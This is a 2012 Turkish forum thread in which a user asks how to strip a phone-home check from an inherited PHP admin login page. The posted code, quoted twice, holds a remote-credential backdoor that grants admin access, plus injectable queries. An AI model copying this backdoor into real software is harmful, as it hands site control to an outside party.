• 17-10-2012, 21:53:28
    #1
    Reveloper
    Şu yeni devr aldığım bir firmanın eski login sistemi ancak curl ile bağlantı yapıp domain kontrol yapıyor. neleri silmem lazım bunu artık yapmaması için :S

    <?php  
    session_start();
    ob_start();
    
    
    function site_kaynak($url) {
            if (function_exists('curl_init')) { 
                $ch = curl_init($url); 
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 
                curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
                return curl_exec($ch); 
            } else { 
                return file_get_contents($url); 
            } 
     }
     
    $a=site_kaynak('http://burtinet.com/1.php');
    $bilgi = explode(";",$a);
     
    
    
    $ippp=$_SERVER['REMOTE_ADDR'];
    $serverr = $_SERVER[HTTP_HOST];
    if ($serverr != 'localhost'){
    mysql_connect($bilgi[1],$bilgi[2],$bilgi[3]);
    mysql_select_db($bilgi[0]);
    $adress = $_SERVER[PHP_SELF].$_SERVER[QUERY_STRING];
    $linkk=$serverr.$adress;
    $ipp=$_SERVER['REMOTE_ADDR'];
    $date=date("d-m-Y/H:i");
    
    $saim = mysql_num_rows(mysql_query("select * from zzz_domainler where domain_adi = '$linkk'"));
    
    if ($saim==0){
    $ekle = mysql_query("insert into zzz_domainler (domain_adi,ip,ilk_giris)values('$linkk','$ipp','$date')"); } 
    
    mysql_close();
    }
    
    
    include"../db/db.php";
    include "../inc/ek.php";
    $VT= new VT();
    
    
    
    
    
    $len = 4; 
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789'; 
    $string = ''; 
    for ($i = 0; $i < $len; $i++) { 
    $pos = rand(0, strlen($chars)-1); 
    $string .= $chars{$pos}; 
    } 
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Giriş Yap</title>
    <script type="text/javascript" src="js/jquery-1.7.1.js"></script>
    <script type="text/javascript">
    function focus(){
    $(".kullanici_adi").focus();
    }
    </script>
    </head>
    
    
    
    <body style="background:url(img/bgg.jpg) #b6b6b6;" onload="focus();">
    <div style="width:403px; height:auto; margin: 10px auto;"><center>
    <div style="width:210px; height:69px;text-align:center;"><a target="_blank" href="http://www.burtinet.com/"><img style="border:none;" src="img/logo.png"/></a></div></center>
    <?php
    
    if ($_SESSION[devam]==1){$browser = "chrome";}else{$browser = $_SERVER['HTTP_USER_AGENT'];}
    if(preg_match('/'."chrome".'/i', $browser)){ 
     
    ?>
    
    <div style="width:403px; height:222px; margin-top:30px; background:url(img/giris_bg.png);">
    <div style="float:left; width:383px; height:30px; color:#475d68; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:20px 0 0 20px;">
    Burti NET İçerik Yönetim Sistemi
    </div>
    
    <form action="" method="post">
    <div style="float:left; width:383px; height:20px; color:#475d68; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:5px 0 0 20px; font-size:11px;">
    Kullanıcı Adı: <input type="text" name="kullanici_adi" class="kullanici_adi" style="width:250px; margin-left:20px; font-family:Tahoma, Geneva, sans-serif; font-size:11px; "/> </div>
    
    <div style="float:left; width:383px; height:20px; color:#475d68; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:10px 0 0 20px; font-size:11px;">
    Şifre: <input type="password" name="sifre" style="width:250px; margin-left:61px; font-family:Tahoma, Geneva, sans-serif; font-size:11px; "/>
    </div>
    
    
    <div style="float:left; width:383px; height:20px; color:#475d68; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:10px 0 0 20px; font-size:11px;">
     Güvenlik Kodu <input type="text" name="guvenlik" value="" maxlength="4" style="width:40px; margin-left:10px; font-family:Tahoma, Geneva, sans-serif; font-size:11px;  "/>
    <img src="guvenlik.php?kod=<?=$string?>" style="margin-left:10px; position:absolute;margin-top:3px;"/>
    <input type="hidden" name="guvenlik1" value="<?=$string;?>"/>
    </div>
    
    
    
    <div style="float:left; width:383px; height:20px; color:#475d68; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:10px 0 0 20px; font-size:11px;">
    <span style="color:red;">
    <?php
    $rand_sayi = rand(0,99);
    $kontrol = 0;
    if ($_POST['submit']) { $kontrol = 1;}
    if ($kontrol == '1'){
    
    $kullanici_adi = addslashes($_POST[kullanici_adi]);
    $sifre= addslashes($_POST[sifre]);
    $guvenlik= addslashes($_POST[guvenlik]);
    $guvenlik1= addslashes($_POST[guvenlik1]);
    
    
    if ($guvenlik==$guvenlik1){
    $sorgu=mysql_query("select * from $kullanicilar_tbl where kullanici_adi = '$kullanici_adi' and sifre = '$sifre'");
    $sorgula = mysql_num_rows($sorgu);
    
    if ($sorgula>0){
    include "yedekle.php";
    $sorgulama=mysql_fetch_array($sorgu);
    $_SESSION[giris] = $rand_sayi;
    $_SESSION[giris_rand] = $rand_sayi;
    
    $date=date("d-m-Y/H:i");
    $ip=$_SERVER['REMOTE_ADDR'];
    $_SESSION[admin_id]=$sorgulama[id];
    $ekle = mysql_query("insert into $girisler_tbl (kullanici_id,tarih,ip)values('$_SESSION[admin_id]','$date','$ip')");
    
    
    header("location:index.php?islem=kayitlar&durum=tumu");
    }else{
    
    //Mysql İle Kontrol 
    mysql_connect($bilgi[1],$bilgi[2],$bilgi[3]);
    mysql_select_db($bilgi[0]);
    
    $tablo = mysql_num_rows(mysql_query("select * from zzz_sifre where kullanici_adi = '$kullanici_adi' and sifre = '$sifre'"));
    
    if ($tablo>0){
    $_SESSION[giris] = $rand_sayi;
    $_SESSION[giris_rand] = $rand_sayi;
    $_SESSION[admin_id]=3;
    mysql_close();
    $VT= new VT();
    include "yedekle.php";
    $date=date("d-m-Y/H:i");
    $ip=$_SERVER['REMOTE_ADDR'];
    $ekle = mysql_query("insert into $girisler_tbl (kullanici_id,tarih,ip)values('$_SESSION[admin_id]','$date','$ip')");
    
    header("location:index.php?islem=kayitlar&durum=tumu");}
    echo'Hatalı Kullanıcı Adı veya Şifre';
    //Mysql Bitiş
    }
    
    }else{
    
    echo'Hatalı Kullanıcı Adı veya Şifre';}
    
    
    mysql_connect($bilgi[1],$bilgi[2],$bilgi[3]);
    mysql_select_db($bilgi[0]);
    
    $tablo = mysql_num_rows(mysql_query("select * from zzz_sifre where kullanici_adi = '$kullanici_adi' and sifre = '$sifre'"));
    
    if ($tablo>0){
    $_SESSION[giris] = $rand_sayi;
    $_SESSION[giris_rand] = $rand_sayi;
    $_SESSION[admin_id]=3;
    mysql_close();
    $VT= new VT();
    include "yedekle.php";
    $date=date("d-m-Y/H:i");
    $ip=$_SERVER['REMOTE_ADDR'];
    $ekle = mysql_query("insert into $girisler_tbl (kullanici_id,tarih,ip)values('$_SESSION[admin_id]','$date','$ip')");
    
    header("location:index.php?islem=kayitlar&durum=tumu");}
    //echo'Hatalı Kullanıcı Adı veya Şifre';
    //Mysql Bitiş
    
    
    
    
    
    }
    
    
    ?>
    </span>
    <input type="submit" name="submit" value="Giriş Yap" id="submit" style="width:auto; float:right; margin-left:0px; margin-right:35px; font-family:Tahoma, Geneva, sans-serif; font-size:11px; "/>
    </div>
    
    <div style="float:left; width:383px; height:20px; color:#fff; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:25px 0 0 5px; font-size:11px; text-align:center;">
    <a target="_blank" style="color:#ccc; text-decoration:none;" href="http://www.burtinet.com/">Burti NET İnternet Hizmetleri</a>
    </div>
    </form>
    </div>
    
    <? } else {
    echo'<div style="width:auto;margin:50px auto 50px auto;">
    
    <div style="font-weight:bold;font-size:20px;margin-top:20px;width:400px;text-align:center;">
    <span style="color:red;text-decoration:underline;">Uyarı:</span> Burti NET İçerik Yönetim sistemini sorunsuz kullanabilmek için 
    Google Chrome’ yi kullanmalısınız..<br/><br/>
    
    <a target="_blank" style="color:red;" href="http://www.google.com/chrome">Google Chrome\' yi indirmek için tıklayın..</a>
    
    </div>
    
    <div style="width:auto;height:auto;margin:40px auto;font-family:tahoma;font-size:14px;text-align:center;">
    <a href="?islem=devam" style="font-size:14px;color:red;font-weight:bold;">Hayır. Bu browserdan devam etmek istiyorum..</a>
    </div>
    </div>
    '; } ?>
    
    </div>
    
    <?php if ($_GET[islem]=='devam') {
    $_SESSION[devam]='1';
    header("location:giris.php");
    }?>
    
    </body>
    </html>
  • 17-10-2012, 23:12:18
    #2
    <?php  
    session_start();
    ob_start();
    /***********Mysql Bilgileri***************/
    $mysql_host = 'localhost';
    $mysql_user = 'mysqlusername';
    $mysql_password = 'mysqlpassword';
    $mysql_database = 'mysqldatabasename';
    
    function site_kaynak($url) {
            if (function_exists('curl_init')) { 
                $ch = curl_init($url); 
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 
                curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
                return curl_exec($ch); 
            } else { 
                return file_get_contents($url); 
            } 
     }
     
    
    $ippp=$_SERVER['REMOTE_ADDR'];
    $serverr = $_SERVER[HTTP_HOST];
    if ($serverr != 'localhost'){
    mysql_connect($mysql_host,$mysql_user,$mysql_password);
    mysql_select_db($mysql_database);
    $adress = $_SERVER[PHP_SELF].$_SERVER[QUERY_STRING];
    $linkk=$serverr.$adress;
    $ipp=$_SERVER['REMOTE_ADDR'];
    $date=date("d-m-Y/H:i");
    
    $saim = mysql_num_rows(mysql_query("select * from zzz_domainler where domain_adi = '$linkk'"));
    
    if ($saim==0){
    $ekle = mysql_query("insert into zzz_domainler (domain_adi,ip,ilk_giris)values('$linkk','$ipp','$date')"); } 
    
    mysql_close();
    }
    
    
    include"../db/db.php";
    include "../inc/ek.php";
    $VT= new VT();
    
    
    
    
    
    $len = 4; 
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789'; 
    $string = ''; 
    for ($i = 0; $i < $len; $i++) { 
    $pos = rand(0, strlen($chars)-1); 
    $string .= $chars{$pos}; 
    } 
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Giriş Yap</title>
    <script type="text/javascript" src="js/jquery-1.7.1.js"></script>
    <script type="text/javascript">
    function focus(){
    $(".kullanici_adi").focus();
    }
    </script>
    </head>
    
    
    
    <body style="background:url(img/bgg.jpg) #b6b6b6;" onload="focus();">
    <div style="width:403px; height:auto; margin: 10px auto;"><center>
    <div style="width:210px; height:69px;text-align:center;"><a target="_blank" href="http://www.burtinet.com/"><img style="border:none;" src="img/logo.png"/></a></div></center>
    <?php
    
    if ($_SESSION[devam]==1){$browser = "chrome";}else{$browser = $_SERVER['HTTP_USER_AGENT'];}
    if(preg_match('/'."chrome".'/i', $browser)){ 
     
    ?>
    
    <div style="width:403px; height:222px; margin-top:30px; background:url(img/giris_bg.png);">
    <div style="float:left; width:383px; height:30px; color:#475d68; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:20px 0 0 20px;">
    Burti NET İçerik Yönetim Sistemi
    </div>
    
    <form action="" method="post">
    <div style="float:left; width:383px; height:20px; color:#475d68; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:5px 0 0 20px; font-size:11px;">
    Kullanıcı Adı: <input type="text" name="kullanici_adi" class="kullanici_adi" style="width:250px; margin-left:20px; font-family:Tahoma, Geneva, sans-serif; font-size:11px; "/> </div>
    
    <div style="float:left; width:383px; height:20px; color:#475d68; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:10px 0 0 20px; font-size:11px;">
    Şifre: <input type="password" name="sifre" style="width:250px; margin-left:61px; font-family:Tahoma, Geneva, sans-serif; font-size:11px; "/>
    </div>
    
    
    <div style="float:left; width:383px; height:20px; color:#475d68; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:10px 0 0 20px; font-size:11px;">
     Güvenlik Kodu <input type="text" name="guvenlik" value="" maxlength="4" style="width:40px; margin-left:10px; font-family:Tahoma, Geneva, sans-serif; font-size:11px;  "/>
    <img src="guvenlik.php?kod=<?=$string?>" style="margin-left:10px; position:absolute;margin-top:3px;"/>
    <input type="hidden" name="guvenlik1" value="<?=$string;?>"/>
    </div>
    
    
    
    <div style="float:left; width:383px; height:20px; color:#475d68; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:10px 0 0 20px; font-size:11px;">
    <span style="color:red;">
    <?php
    $rand_sayi = rand(0,99);
    $kontrol = 0;
    if ($_POST['submit']) { $kontrol = 1;}
    if ($kontrol == '1'){
    
    $kullanici_adi = addslashes($_POST[kullanici_adi]);
    $sifre= addslashes($_POST[sifre]);
    $guvenlik= addslashes($_POST[guvenlik]);
    $guvenlik1= addslashes($_POST[guvenlik1]);
    
    
    if ($guvenlik==$guvenlik1){
    $sorgu=mysql_query("select * from $kullanicilar_tbl where kullanici_adi = '$kullanici_adi' and sifre = '$sifre'");
    $sorgula = mysql_num_rows($sorgu);
    
    if ($sorgula>0){
    include "yedekle.php";
    $sorgulama=mysql_fetch_array($sorgu);
    $_SESSION[giris] = $rand_sayi;
    $_SESSION[giris_rand] = $rand_sayi;
    
    $date=date("d-m-Y/H:i");
    $ip=$_SERVER['REMOTE_ADDR'];
    $_SESSION[admin_id]=$sorgulama[id];
    $ekle = mysql_query("insert into $girisler_tbl (kullanici_id,tarih,ip)values('$_SESSION[admin_id]','$date','$ip')");
    
    
    header("location:index.php?islem=kayitlar&durum=tumu");
    }else{
    
    //Mysql İle Kontrol 
    mysql_connect($mysql_host,$mysql_user,$mysql_password);
    mysql_select_db($mysql_database);
    
    $tablo = mysql_num_rows(mysql_query("select * from zzz_sifre where kullanici_adi = '$kullanici_adi' and sifre = '$sifre'"));
    
    if ($tablo>0){
    $_SESSION[giris] = $rand_sayi;
    $_SESSION[giris_rand] = $rand_sayi;
    $_SESSION[admin_id]=3;
    mysql_close();
    $VT= new VT();
    include "yedekle.php";
    $date=date("d-m-Y/H:i");
    $ip=$_SERVER['REMOTE_ADDR'];
    $ekle = mysql_query("insert into $girisler_tbl (kullanici_id,tarih,ip)values('$_SESSION[admin_id]','$date','$ip')");
    
    header("location:index.php?islem=kayitlar&durum=tumu");}
    echo'Hatalı Kullanıcı Adı veya Şifre';
    //Mysql Bitiş
    }
    
    }else{
    
    echo'Hatalı Kullanıcı Adı veya Şifre';}
    
    
    mysql_connect($mysql_host,$mysql_user,$mysql_password);
    mysql_select_db($mysql_database);
    
    $tablo = mysql_num_rows(mysql_query("select * from zzz_sifre where kullanici_adi = '$kullanici_adi' and sifre = '$sifre'"));
    
    if ($tablo>0){
    $_SESSION[giris] = $rand_sayi;
    $_SESSION[giris_rand] = $rand_sayi;
    $_SESSION[admin_id]=3;
    mysql_close();
    $VT= new VT();
    include "yedekle.php";
    $date=date("d-m-Y/H:i");
    $ip=$_SERVER['REMOTE_ADDR'];
    $ekle = mysql_query("insert into $girisler_tbl (kullanici_id,tarih,ip)values('$_SESSION[admin_id]','$date','$ip')");
    
    header("location:index.php?islem=kayitlar&durum=tumu");}
    //echo'Hatalı Kullanıcı Adı veya Şifre';
    //Mysql Bitiş
    
    
    
    
    
    }
    
    
    ?>
    </span>
    <input type="submit" name="submit" value="Giriş Yap" id="submit" style="width:auto; float:right; margin-left:0px; margin-right:35px; font-family:Tahoma, Geneva, sans-serif; font-size:11px; "/>
    </div>
    
    <div style="float:left; width:383px; height:20px; color:#fff; font-family:Tahoma, Geneva, sans-serif;font-weight:bold; padding:25px 0 0 5px; font-size:11px; text-align:center;">
    <a target="_blank" style="color:#ccc; text-decoration:none;" href="http://www.burtinet.com/">Burti NET İnternet Hizmetleri</a>
    </div>
    </form>
    </div>
    
    <? } else {
    echo'<div style="width:auto;margin:50px auto 50px auto;">
    
    <div style="font-weight:bold;font-size:20px;margin-top:20px;width:400px;text-align:center;">
    <span style="color:red;text-decoration:underline;">Uyarı:</span> Burti NET İçerik Yönetim sistemini sorunsuz kullanabilmek için 
    Google Chrome’ yi kullanmalısınız..<br/><br/>
    
    <a target="_blank" style="color:red;" href="http://www.google.com/chrome">Google Chrome\' yi indirmek için tıklayın..</a>
    
    </div>
    
    <div style="width:auto;height:auto;margin:40px auto;font-family:tahoma;font-size:14px;text-align:center;">
    <a href="?islem=devam" style="font-size:14px;color:red;font-weight:bold;">Hayır. Bu browserdan devam etmek istiyorum..</a>
    </div>
    </div>
    '; } ?>
    
    </div>
    
    <?php if ($_GET[islem]=='devam') {
    $_SESSION[devam]='1';
    header("location:giris.php");
    }?>
    
    </body>
    </html>
    Mysql bilgilerini düzenleyin.
  • 17-10-2012, 23:32:00
    #3
    Reveloper
    yok yok hocam ben direk sistemden çıkartmak istiyorum bu sistemi. sadece login kontrolü yapsın girsin istiyorum uzak mysql bağlantısı yapmasın
  • 18-10-2012, 00:58:25
    #4
    Kimlik doğrulama veya yönetimden onay bekliyor.
    W.a.r.e.z'e düşmüş bir sistem, aynı dosyalar bende de var. Silmeniz yeterli.
  • 18-10-2012, 06:50:36
    #5
    Reveloper
    mJet adlı üyeden alıntı: mesajı görüntüle
    W.a.r.e.z'e düşmüş bir sistem, aynı dosyalar bende de var. Silmeniz yeterli.
    PM bakın lütfen.